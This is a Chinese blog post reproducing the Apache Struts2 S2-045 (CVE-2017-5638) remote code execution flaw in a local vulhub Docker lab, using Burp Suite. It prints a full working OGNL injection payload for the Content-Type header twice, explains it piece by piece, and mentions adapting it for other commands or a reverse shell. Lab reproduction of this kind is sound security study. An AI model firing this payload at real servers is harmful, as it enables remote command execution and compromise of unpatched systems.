Struct2(s2-045) 复现

Struct2(s2-045) 复现

漏洞编号:S2-045
CVE 编号:CVE-2017-5638
漏洞类型:远程代码执行
漏洞级别:高危
漏洞风险:黑客通过利用漏洞可以实现远程命令执行。
影响版本:struts2.3.5 – struts2.3.31 , struts2.5 – struts2.5.10

Vulhub 搭建漏洞环境

首先通过 vulhub 搭建漏洞环境

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/vulhub/struts2]
└─$ ls
README.md s2-001 s2-005 s2-007 s2-008 s2-009 s2-012 s2-013 s2-015 s2-016 s2-032 s2-045 s2-046 s2-048 s2-052 s2-053 s2-057 s2-059 s2-061

┌──(kali㉿kali)-[~/vulhub/struts2/s2-045]
└─$ docker-compose up -d
Starting s2-045_struts2_1 ... done

┌──(kali㉿kali)-[~/vulhub/struts2/s2-045]
└─$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
2c0710b3d7c8 vulhub/struts2:2.3.30 "/usr/local/bin/mvn-…" 2 minutes ago Up 7 seconds 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp s2-045_struts2_1

测试发现 docker 镜像加速方面,阿里云>华为云>DaoCloud。此外由于 burp suite 默认监听使用的是 8080 端口,这里不修改的话,会与漏洞环境产生冲突导致漏洞服务启动失败

利用公开 PoC 实现命令执行

本地浏览器访问

是一个文件上传界面,burp suite 抓包,注意需要关注的是 POST 包,这里随便上传一个文件。

需要关注的是 Content-Type 字段,这里直接使用网上的 PoC

1
Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

得到回显

另外有个有意思的事情,如果不上传文件直接点击 Submit 按钮,那么 Content-Type 字段中的 boundary=----WebKitFormBoundaryEbgY49uvRsDTm4ub 不能删除,否则无法实现命令执行

boundary 参数用于定义多部分内容的分界线,它的值是一串随机字符串。在 multipart/form-data 类型的请求体中,会用这个 boundary 字符串来分隔不同的内容部分。这样既可以在一个请求中发送多个不同的内容,也方便服务端解析内容的边界。

也可以修改 PoC 来执行不同的命令或者反弹 shell

PoC 详解

漏洞发生在 Jakarta 上传解析器,通过构造 content-Type 来实现利用,没看太懂,回头补点 Java 开发的知识

1
Content-Type:"%{(#xxx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"pwd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

xxx='multipart/form-data'主要是让struts程序content_type.contains(“multipart/form-data”)判断为true

1
2
#container=#context['com.opensymphony.xwork2.ActionContext.container']
来获取上下文容器
1
2
#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class  
通过容器实例化,对Ognl API的通用访问,设置和获取属性。
1
2
#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd })
判断目标主机的操作系统类型,并进行执行命令赋值
1
2
#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())
执行攻击命令

参考

vulhub-Struts2-045(CVE-2017-5638)漏洞复现_s2-045拿shell_7562ajj的博客-CSDN博客

【漏洞分析】S2-045:Apache Struts2 远程代码执行(RCE)漏洞分析-安全客 - 安全资讯平台 (anquanke.com)


Struct2(s2-045) 复现
https://i3eg1nner.github.io/2023/08/d967fa845029.html
作者
I3eg1nner
发布于
2023年8月2日
许可协议